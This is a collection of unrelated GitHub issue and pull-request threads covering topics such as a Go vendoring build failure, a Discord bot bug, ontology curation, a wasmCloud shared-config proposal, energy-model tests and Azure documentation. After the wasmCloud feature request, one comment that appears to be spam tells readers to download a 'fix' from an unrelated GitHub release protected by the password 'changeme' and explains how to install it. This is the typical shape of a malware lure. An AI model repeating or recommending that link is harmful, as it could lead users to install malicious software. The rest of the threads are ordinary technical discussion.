There are build errors of the form: #10 [build 5/6] RUN GO111MODULE=on CGO_ENABLED=0 go build -ldflags "-s -w -X=main.Version=v0.0.0-20240403104824-8a3f5c38d3cb " -mod=vendor -o /out/usr/bin/newlogd ./cmd #10 0.173 go: finding module for package github.com/lf-edge/eve/pkg/kube/cnirpc #10 0.192 vendor/github.com/lf-edge/eve/pkg/pillar/types/domainmgrtypes.go:18:2: cannot query module due to -mod=vendor Error: error building "lfedge/eve-newlog:1f1c5b988504157e319b317455b3a5734d2640b7": error building for arch amd64: failed to solve: process "/bin/sh -c GO111MODULE=on CGO_ENABLED=0 go build -ldflags "-s -w -X=main.Version=${GOPKGVERSION}" -mod=vendor -o /out/usr/bin/newlogd ./cmd" did not complete successfully: exit code: 1 2024/04/10 13:25:08 error during command execution: error building "lfedge/eve-newlog:1f1c5b988504157e319b317455b3a5734d2640b7": error building for arch amd64: failed to solve: process "/bin/sh -c GO111MODULE=on CGO_ENABLED=0 go build -ldflags "-s -w -X=main.Version=${GOPKGVERSION}" -mod=vendor -o /out/usr/bin/newlogd ./cmd" did not complete successfully: exit code: 1 make: *** [Makefile:968: eve-newlog] Error 1

That's strange. I mean as usual I do not understand error messages from our build system, but I remember after Milan's PR I removed the cnirpc dependency and compiled locally successfully. I repeat the same: update with latest sha, go mod tidy, go mod vendor. (again no errors locally). Let's see this time.

It seems same error: "Error: error building "lfedge/eve-newlog:1c0af0a223bf3352fb0233bb8b0a029437098a48": error building for arch amd64: failed to solve: process "/bin/sh -c GO111MODULE=on CGO_ENABLED=0 go build -ldflags "-s -w -X=main.Version=${GOPKGVERSION}" -mod=vendor -o /out/usr/bin/newlogd ./cmd" did not complete successfully: exit code: 1"
Unfortunately I do not understand how to fix the error without the error. Need help.


Phosphoricons v2.0

Manually added new 2.0 icons.
 But I was unable to see any particular pattern through which I could process them to be compatible and hence the delay to upgrade to Phosphor 2.0.
Thanks for your efforts. I will test visually if all logos are looking fine & get this merged. In the meanwhile if you had come across particular pattern while preparing this PR, you can share it here or you can upgrade config/generation.php for future proof updates.


cmd/writeACH: add -json to output JSON instead of plaintext ACH file

Issue: https://github.com/moov-io/moov-io/issues/4

cc @bkmoovio @wadearnold


Bug: Mutual Servers list in relayed DMs is wrong

Repro:

Add owner account & bot to 2 servers
Add second account to 1 of those servers
DM the bot from the second account
The Mutual Servers list may be wrong or incomplete (it should show mutuals between bot & recipient/non-owner, NOT mutuals between bot & owner)

Would be nice if the fix for this also handled #23 or vice versa

I am just removing the Mutual Servers list instead. Cache is not reliable and I'm not a fan of using DiscordGuild.GetAllMembersAsync() to fetch all members unless I really need to. This isn't important enough. I also don't need to rely on mutual servers to forward DMs anyway, as there is a DiscordUser.SendMessageAsync method I can use instead.


feat: sync upstream (2019-06-22)

This updates current fork with all the work on upstream. It has some nice new features that I guess will be useful for a lot of people.
I've only included a new OTP version in .tools-version but can remove it if that is best for you people.

@victorolinasc thanks for looking into this! It's definitely helpful. For cleanliness would you be willing to move the OTP version bump and the dependency bumps into a separate PR?

@axelson ammended the commit removing the changes in tools and deps update.
I've opened the PR this way cause it was how I was testing locally. If you want I can open a PR with the updates later.

Yeah, a separate PR with the other changes would be great!


Encode string before taking md5 hex

this avoids this error when scrobbling songs with non-ascii titles:
% perl ~/.config/mpv/lastfmscrobbler/scrobble.pl
Wide character in subroutine entry at /Users/xytxytxyt/.config/mpv/lastfmscrobbler/scrobble.pl line 66.

i took the fix from https://stackoverflow.com/questions/32285925/wide-character-in-subroutine-entry-utf-8-encoded-cyrillic-words-as-sequence/32286196

Thanks!


Loading Animation when Pasting Large Datasets

Similar to issue #794 I'm actually looking to implement this in vanilla javascript and I'm running into the same issue.
The loading animation does not display when using the onbeforepaste or onbeforechange events.
I'm guessing this is because this is because jSuites.loading.show(); is run asynchronously with the code that is hanging but I'm not sure of the best resolution.
https://codesandbox.io/s/basic-jexcel-with-loading-msg-hfz66

Actually Jsuites loading is very decouple of the code. I have created a jsfiddle to show a working version.
https://jsfiddle.net/paulhodel/k96xqaev/

Ah gotcha. I think that does demonstrate that they are decoupled. But this is still an issue, primarily during the first paste of a large dataset.
When using that jsfiddle, the first time I paste in a large dataset (1000Rx10C) the page shows no indication that anything is happening for ~10 seconds, the loading animation for 1 second. Ideally, I think the loading animation would be displayed the entire time.
Interestingly, the next time dataset with the same size is pasted the data the total loading time is only about 2 seconds. I'm guessing this is because of the time required to setup the DOM / add elements.

But, if you don't include the timeout and include on the onafterchanges them you get what you are looking for.
Have you tried the Pro distribution?

Open an excel copy 10K rows, go in the link below and paste in the first cell
https://jexcel.net/v7/examples/lazy-loading

Let me know what do you think.
Regards,


Add excluded subclass of assertions for ICD10

This is a test, but real, PR which adds 47 "excluded subclass of" assertions from ICD10CM.
The original table can be seen here: https://github.com/monarch-initiative/mondo-ingest/blob/8e9ca4be6b9623ddf715e3426954070416fa9eac/src/ontology/reports/icd10cm.subclass.added.robot.tsv
@nicolevasilevsky volunteered to take a first look. As this is the first PR of its kind, we should be a bit critical:

Should the subclass axiom really be excluded?
Is it true that the subclass axiom is not in Mondo, neither asserted nor logically implied?
Is it true that the subclass assertion is, indeed, in ICD10CM?

We should at the very least to some spot checking, but I feel rigour will pay off, at least for the first PR.

Sounds good, I am working on this, I started a spreadsheet

🚀 🚀 🚀 🚀 🚀 This is fantastic work @nicolevasilevsky amazing!
Can we discuss during next 1:1 or tech call?

yes!

If this is work that I will eventually be a part of as we transition tech tasks I would like to be on the call :)
Also, @nicolevasilevsky what is the source you are using to view ICD10CM?
And what criteria is being used whether the subclass axiom should be excluded? I was wondering about this for example because I thought that for:
MONDO:0000984	thalassemia	MONDO:0003664	ICD10CM:D56	ICD10CM:D55-D59	hemolytic anemia	yes
that "thalassemia" is a kind of "hemolytic anemia".

@nicolevasilevsky lets push discussion to tech call!

Having the discussion on the tech call sounds great! Keep in mind the next tech call that we will all be available for (Nico, Nicole, Trish) is not until Feb 2.

@matentzn I am done reviewing this spreadsheet.

note: the PR to add new superclasses (https://github.com/monarch-initiative/mondo/pull/7332) is merged

Conclusion: for now we will create a blanket 'exclude subclass of' for everything and add a 'not verified' tag, and as we curators should keep an eye out for these 'not verified' tags and review them if we come across them during other work.
closing this.


[FEATURE] Add shared configs between components / capability

Affected project(s)

[ ] documentation
[ ] examples
[X] wasmCloud host
[ ] wasmCloud CLI (wash)
[ ] wasmCloud dashboard UI (washboard)
[X] capability providers
[ ] provider bindgen
[ ] control interface client
[ ] other / not sure

Is your feature request related to a problem? Please describe.
I would like the ability to be able to share configurations between many components and/or capabilities. This can be useful for a range of situations such as having vaguely related services which need to be configured with the same parameters. One such example could be when you have an event producer and an event consumer that need to be configured to communicate on the same topic.
Describe the solution you'd like
One solution could be a new config type as seen in this example config:
spec:
  components:
    - name: my-global-config
      type: config
      properties:
        topic: my-topic

    - name: producer
      type: component
      properties:
        image: ghcr.io/username/my-producer:0.1.0
        config:
          - name: my-global-config

    - name: consumer
      type: component
      properties:
        image: ghcr.io/username/my-consumer:0.1.0
        config:
          - name: my-global-config

By adding - name: my-global-config to the component config this allows both of the components to be configured with the value topic: my-topic.
Describe alternatives you've considered
With this solution we could also allow a kind of "overriding" of config values such as the following:
spec:
  components:
    - name: my-global-config
      type: config
      properties:
        foo: bar

    - name: component-a
      type: component
      properties:
        image: ghcr.io/username/my-component-a:0.1.0
        config:
          - name: my-global-config
      # resultant config:
      #   - foo: bar

    - name: component-b
      type: component
      properties:
        image: ghcr.io/username/my-component-b:0.1.0
        config:
          - name: my-global-config
            properties:
              foo: bat
      # resultant config:
      #   - foo: bat

This could be a possible solution to avoid overwriting the my-global-config on deployment. But this may make things complicated when it comes to subscribing to config changes.
Additional context
No response

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Update Variation.pm

Fixed HGVS URLs for transcript/translation stable IDs that contain versions.

Manually merged into master and release/80: https://github.com/Ensembl/ensembl-webcode/commit/689666b0522680d76323efbdd47a1f1a991354a7


Support for short version syntax

It would be very helpful if this action supported short version syntax too, examples:

ruby-2.6
jruby-9.2.9
truffleruby-19.3

Indeed, that should be easy because there is a list of versions at https://github.com/eregon/ruby-install-builder/blob/metadata/versions.json
I'll try to implement it today.

I implemented it in https://github.com/eregon/use-ruby-action/pull/2 and updated the README.


says pve set to false.

im trying to grind some golds but its only opening pvp even after ive set config for true on pve line

check my respo

does yours have supports dor dark inquis this one here wins a lot with it

try adding pve into config in the main folder, see if that helps.


Resolve the issue of zero capacity factor

This PR adds tests for parameter "capacity_factor" to address the requirements mentioned in #515.
How to review
Please make a copy of this branch, run the test with the existing code, and the tests should pass.
PR checklist

[x] Reduce duplication, i.e. don't have identical model_generator() methods in test_feature_temporal_level.py and test_feature_capacity_factor.py (@khaeru)
[ ] Continuous integration checks all ✅
[x] Add or expand tests; coverage checks both ✅
[x] Release notes added.

@khaeru, I went further and resolved the issue in the GAMS formulation, by adding a new masking set ("is_capacity_factor"). For populating this set on the python side, I copied the code you suggested in #514 (the part related to the enforce() method). I wanted to make sure that the tests designed here will work if we correct the formulation. Now, you can decide if we should add enforce() workflow here, or in a separate PR.

Will jump in here once #559 is addressed.

Reduce duplication, i.e. don't have identical model_generator() methods in test_feature_temporal_level.py and test_feature_capacity_factor.py (@khaeru)

@behnam-zakeri I've now done this (about 2 hours), saving us about 400 lines of code in the test files while still doing all the same tests. To me, at least, they are now easier to read & distinguish from one another. However, one question came up in the process, so I hope you can help:
Two of the tests (test_two_seasons_to_year_relative and test_linked_three_temporal_levels_relative) had the following pattern of code:
def test_func():
    try:
        do_stuff()
    except AssertionError:
        pass

This test will pass if do_stuff() raises an AssertionError. But it will also pass if do_stuff() doesn't raise any error at all. So the expected behaviour is ambiguous.
I changed these to the standard way of using pytest:
def test_func():
    with pytest.raises(AssertionError):
        do_stuff()

This is more explicit: it will pass if do_stuff() raises an AssertionError as expected, but the test will fail if the error is not raised.
I find these tests now fail. From the docstrings/comments:

test_two_seasons_to_year_relative says "Model should not solve," meaning we expect some kind of failure?
test_linked_three_temporal_levels_relative says "Model solves" in the docstring but, in contrast, "Shouldn't pass with a relative time duration" in the comments.

Can you identify what's going on in each case? What do we actually expect—maybe that the model actually should solve in each case, but the assertions in check_solution(scen) should fail?

Thanks a lot @khaeru for reformatting and improvements. Related to your question
“ … that the model actually should solve in each case, but the assertions in check_solution(scen) should fail? that the model actually should solve in each case, but the assertions in check_solution(scen) should fail?”
As you identified in these cases the model should solve but Assersion checks must not pass. These checks ensure commodity balances wok as expected across different temporal levels.

Thanks for the review! Will merge once checks again pass.

Thanks @behnam-zakeri for the contributions! 🎉


Show warning message if "push" is uploading an archive with no workflows

If there're no workflows in a project, usually it's a mistake. This
change tries to prevent such common mistake by showing a warning
message.
Example message:
2017-04-03 11:16:00 -0700: Digdag v0.9.9-SNAPSHOT
Creating .digdag/tmp/archive-5051289385624456034.tar.gz...
  Archiving a
Workflows:
  WARNING: This project doesn't include workflows. Usually, this is a mistake.
           Please make sure that all *.dig files are on the top directory.
           *.dig files in subdirectories are not recognized as workflows.

If workflow exists,
2017-04-03 11:15:05 -0700: Digdag v0.9.9-SNAPSHOT
Creating .digdag/tmp/archive-6554652179977764401.tar.gz...
  Archiving a
  Archiving x.dig
  Archiving y.dig
Workflows:
  x.dig
  y.dig

LGTM 👍

:+1:


ATP integration support in VMSS

Is ATP integration currently supported in VMSS? I'm assuming it's true from the following page, but I'd like to make sure since it's not described clearly as far as I checked.
Upgrade to Security Center's Standard tier for enhanced security | Microsoft Docs
https://docs.microsoft.com/en-us/azure/security-center/security-center-pricing#pricing-tiers
Related issue #21360.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 05da473f-3b1d-8b8b-ea7a-68d0e7e62c31
Version Independent ID: e5e40276-c0cd-fa51-4eb4-93e21c57a065
Content: Windows Defender Advanced Threat Protection with Azure Security Center
Content Source: articles/security-center/security-center-wdatp.md
Service: security-center
GitHub Login: @barclayn
Microsoft Alias: barclayn

@kazshi
Thanks for your feedback! We will investigate and update as appropriate.

@kazshi I have tested this and it doesn't work fore me either.  Thanks for the feedback !  I have assigned this issue to content author to investigate and update the document as appropriate.
@barclayn Can you please check and update the document if this feature alerts are supported for VMSS.

@SaurabhSharma-MSFT Thanks for your verification. I learned that ATP for VMSS would be supported when I checked with PM in Security team about 12 weeks ago (it's in Private Preview at that time), so I was assuming it's implemented from the updated document.

@SaurabhSharma-MSFT @barclayn Do you have any updates/info on this?  Thanks.

@kazshi support for ATP with VMSS is documented in the table that is part of this article  https://docs.microsoft.com/bs-latn-ba/azure/security-center/security-center-os-coverage I will update the article you pointed out with a link to this article for others that may have questions around what is supported in Azure security center.

@barclayn Thank you for the update. I confirmed the update. Closing this thread.


docs: add code coverage readme badge

🏅 Add the code coverage badge in the README.

size-limit report 📦

Path
Size

target/wasm32-unknown-unknown/release/cw_template.wasm
178.08 KB (0%)

target/wasm32-unknown-unknown/release/cw_logic_sample.wasm
204.03 KB (0%)

target/wasm32-unknown-unknown/release/cw_storage.wasm
203.31 KB (0%)

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket: